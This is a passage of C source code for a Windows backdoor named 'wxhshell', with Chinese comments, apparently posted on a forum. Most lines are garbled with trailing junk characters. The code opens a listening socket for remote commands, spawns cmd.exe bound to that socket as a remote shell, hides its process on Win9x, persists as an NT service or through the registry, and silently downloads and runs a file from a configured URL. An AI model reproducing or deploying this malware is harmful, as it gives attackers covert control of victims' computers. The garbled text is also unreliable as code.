  // 帮助 L"/ ?[B":  
  case '?': { )bR0 >3/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IC5QH<.$C  
    break; x.Egl4b3  
  } %)r:!R~R  
  // 安装 J <;xkT1x  
  case 'i': { iCA-X\E  
    if(Install()) N$=9R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 39hep8+  
    else ^N[ Cip}8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LT Pr8^  
    break; $,J}w%A  
    } ,(a~vqNQW3  
  // 卸载 ]{q=9DczG(  
  case 'r': { qJ(uak  
    if(Uninstall()) K#N9N@WjR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q(cLi:)X2  
    else e@ D}/1~=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rAAx]nQ@  
    break; deArH5&!  
    } rdd-W>+  
  // 显示 wxhshell 所在路径 ~nhO*bs}7{  
  case 'p': { K!Fem6R  
    char svExeFile[MAX_PATH]; }<X*:%#b  
    strcpy(svExeFile,"\n\r"); ?P-O4  
      strcat(svExeFile,ExeFile); Sh1$AGm  
        send(wsh,svExeFile,strlen(svExeFile),0); $ZGup"z)  
    break; `kxC# &HO  
    } l?2  
  // 重启 i+qg*o$  
  case 'b': { =1dczJHV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wn?oHz*  
    if(Boot(REBOOT)) }nX0h6+1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dQ7iieT  
    else { ]Q ]y*  
    closesocket(wsh); Tx~w(A4:  
    ExitThread(0); $kxP5q%9  
    } Jz>P[LcB  
    break; (*P`  
    } ;akW i]  
  // 关机 B* mZxY1  
  case 'd': { Ahl&2f\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OblHN*  
    if(Boot(SHUTDOWN)) ;l _b.z0^6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wW p7N  
    else { =1,!EkG  
    closesocket(wsh); ZP!.C&O  
    ExitThread(0); 3e;|KU   
    } /KWdIP#  
    break; sZCK?  
    } ?wPTe^Qtv  
  // 获取shell #7Q9^rG  
  case 's': { i a!!jK}  
    CmdShell(wsh); vT0Op e6m  
    closesocket(wsh); }=)u_q  
    ExitThread(0); AC(qx:/6  
    break; s`H|o'0  
  } K=o {  
  // 退出 __xmn{{L6P  
  case 'x': { o]4BST(A  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &_-=(rK  
    CloseIt(wsh); 5I2 h(Td  
    break; uP%VL}% 0  
    } ed/B.SY  
  // 离开 hBX.GFnw  
  case 'q': { F?R6zvive  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?_d>-NC  
    closesocket(wsh); %;h1n6=v2  
    WSACleanup(); s=-?kcoJ2d  
    exit(1); J)B3o$  
    break; rhQ+ylt8I  
        } gh*k\0  
  } ]gVA6B?&9  
  } B=K<k+{6"  
<Tjhj *  
  // 提示信息 ] 9C)F*r7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zA6C{L G3  
} z+;$cfN  
  } }wn|2K'  
:FC)+OmJ  
  return; hNZ_= <D!  
} 53:u6bb;  
N*|EfI|X  
// shell模块句柄 d+v| &yN  
int CmdShell(SOCKET sock) TM{m:I:Z*n  
{ JS8pN5   
STARTUPINFO si; 5]]QW3  
ZeroMemory(&si,sizeof(si)); yW1N&$n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i^jM9MAi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O4f9n  
PROCESS_INFORMATION ProcessInfo; Lf ^ 7|  
char cmdline[]="cmd"; AJLzLbV+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Z{B[r;  
  return 0; yC5>k;/6#K  
} 6wB !dl  
m`fdf>gWp  
// 自身启动模式 G@D;_$a  
int StartFromService(void) eWm'eO  
{ q1 q~%+Jy  
typedef struct #UymD-yII  
{ Z"Hq{?l9  
  DWORD ExitStatus; 85io %>&0  
  DWORD PebBaseAddress; 9-m_ e=jk6  
  DWORD AffinityMask; /G7^l>pa  
  DWORD BasePriority; y@*4*46v  
  ULONG UniqueProcessId; c/bT5TIEWs  
  ULONG InheritedFromUniqueProcessId; C$])q`9  
}   PROCESS_BASIC_INFORMATION; (AZneK :*  
ld(_+<e  
PROCNTQSIP NtQueryInformationProcess; / zNVJhC  
HI D6h!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  8q9 ^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w/o8R3 F  
b_{+OqI  
  HANDLE             hProcess; ` k I}p  
  PROCESS_BASIC_INFORMATION pbi; KS~Q[-F1P  
g=4P-i3   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `O3#/1+  
  if(NULL == hInst ) return 0; Om:Gun\%  
1iR\M4?Frf  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AM!P?${a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); av(qV$2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7eM6 B#rI  
EMH-[EBx  
  if (!NtQueryInformationProcess) return 0; R6;229e  
w\d1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6I=d0m.io  
  if(!hProcess) return 0; gPK O-Fsd"  
%`G}/"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S?v;+3TG  
\J(~ Nv5!  
  CloseHandle(hProcess);  nSo.,72  
^v;8 (eF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]nIVP   
if(hProcess==NULL) return 0; 0[ n;ZL~  
p |;#frj  
HMODULE hMod; E?K(MT&@  
char procName[255]; t x1TtWo  
unsigned long cbNeeded; _pS)bx w  
gEVoY,}/-U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k~<ORnda  
L-|7 &  
  CloseHandle(hProcess); ;2BPEo>z9  
vy5{Vm".4  
if(strstr(procName,"services")) return 1; // 以服务启动 'g)5vI~'  
Tff eCaBv  
  return 0; // 注册表启动 }/NL"0j+4  
} :8)3t! A  
u?g;fh6  
// 主模块 +)( "!@  
int StartWxhshell(LPSTR lpCmdLine) K nn<q=';G  
{ UG}"OBg/  
  SOCKET wsl; y>UQm|o<W  
BOOL val=TRUE; /WAOpf5  
  int port=0; `a7b,d  
  struct sockaddr_in door; K^AIqL8  
8.`5"9Vh  
  if(wscfg.ws_autoins) Install(); p_g8d&]V  
P)=$0kR3  
port=atoi(lpCmdLine); =snJ+yn!  
bb/A}< zD  
if(port<=0) port=wscfg.ws_port; m:;`mBOc3  
r`0oI66B/  
  WSADATA data; ![%:X)?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G8W^XD  
:Ot5W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   It'PWqZtG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :,^x?'HK  
  door.sin_family = AF_INET; Rwmr[g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w01\KV  
  door.sin_port = htons(port); :(jovse\  
FO|Eg9l  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hdH-VR4  
closesocket(wsl); d{'u97GDc  
return 1; gWjz3ob  
} 5Obv/C  
\xZ6+xZd1  
  if(listen(wsl,2) == INVALID_SOCKET) { t_X=x`f  
closesocket(wsl); F,GG>(6c  
return 1; NydoX9  
} NzID [8`  
  Wxhshell(wsl); );z/ @Q  
  WSACleanup(); c30 kb  
*zPz)3;  
return 0; G`jJKiC  
5@Xy) z  
} [ 3SbWwg  
^MZ9Zu_  
// 以NT服务方式启动 P<xCg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Wf$P+i*  
{ ,n{ |d33  
DWORD   status = 0; +-:G+9L@  
  DWORD   specificError = 0xfffffff; A}03s6^i;  
`~W?a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &>auW}r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u@[JX1&3"n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {f%x8t$  
  serviceStatus.dwWin32ExitCode     = 0; )d?L*X~y'  
  serviceStatus.dwServiceSpecificExitCode = 0; 5fhe{d"si  
  serviceStatus.dwCheckPoint       = 0; z6Yx )qBE<  
  serviceStatus.dwWaitHint       = 0; ];}7 %3  
#J c)v0_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pB]+c%\  
  if (hServiceStatusHandle==0) return; Je~Ybh  
'%A*Z,f  
status = GetLastError(); V)r6bb{^  
  if (status!=NO_ERROR) %?:eURQ  
{ =g^JJpS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lLeN`{?  
    serviceStatus.dwCheckPoint       = 0; 5l(NX  
    serviceStatus.dwWaitHint       = 0; :,dO7dJi  
    serviceStatus.dwWin32ExitCode     = status; ApAHa]Ccp  
    serviceStatus.dwServiceSpecificExitCode = specificError; .[:*bo3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); FHu+dZ  
    return; _Nq7_iT0  
  } >_?Waz %  
<~!R|5sK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !Ry4 w|w  
  serviceStatus.dwCheckPoint       = 0; :E9@9>3S  
  serviceStatus.dwWaitHint       = 0; k<NEauQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z0%Qy+%  
} 7(= 09z  
L[:b\ O/p,  
// 处理NT服务事件,比如:启动、停止 3/((7O[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) . !;K5U  
{ !"x&tF  
switch(fdwControl) 7j L.\O  
{ Uu3<S  
case SERVICE_CONTROL_STOP: DWRq \`P  
  serviceStatus.dwWin32ExitCode = 0; l+8G6?@]>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y]ZujfW7  
  serviceStatus.dwCheckPoint   = 0; .EoLJHL }  
  serviceStatus.dwWaitHint     = 0; 8klu*  
  { )y}W=Q>T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4~/3MG  
  } T]Eg9Y:+v  
  return; 09u@-  
case SERVICE_CONTROL_PAUSE: onAC;<w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Vnq&lz%QqC  
  break; 8L*P!j9`EY  
case SERVICE_CONTROL_CONTINUE: CR<Nau>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _!*??B6u  
  break; G+xdh  
case SERVICE_CONTROL_INTERROGATE: )`.' QW  
  break; qBIKJ  
}; ?KfV>.()  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u CNi&.  
} v= I 'rx  
{m+(j (6-  
// 标准应用程序主函数 o=VDO,eS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7Z<ba^r}  
{ ta 66AEc9  
PxHH h{y%c  
// 获取操作系统版本 Os-sYaW  
OsIsNt=GetOsVer(); H|0GRjC  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ( AnM _s  
Xm2p<Xu8h  
  // 从命令行安装 UjU*`}k3  
  if(strpbrk(lpCmdLine,"iI")) Install(); tZ ]/?+1G  
*^&2L,w  
  // 下载执行文件 +8 AGs,  
if(wscfg.ws_downexe) { 9n${M:F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sh%snLw  
  WinExec(wscfg.ws_filenam,SW_HIDE); kW@,P.88  
} gjVKk  
)N4_SA  
if(!OsIsNt) { #\]:lr{>?4  
// 如果时win9x,隐藏进程并且设置为注册表启动 }XiV$[xHd  
HideProc(); .UuCTH;6`  
StartWxhshell(lpCmdLine); n^ AQ!wC  
} 2& l~8,  
else hs"=>(P)  
  if(StartFromService()) o4"7i 9+g  
  // 以服务方式启动 hkq[xgX  
  StartServiceCtrlDispatcher(DispatchTable); ZsPT!l,  
else t:G67^<3  
  // 普通方式启动 C"P40VQoo  
  StartWxhshell(lpCmdLine); ,:QzF"MV  
(ft8,^=4  
return 0; >wpC45n)9N  
}
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只看该作者 1 发表于: 2006-10-10
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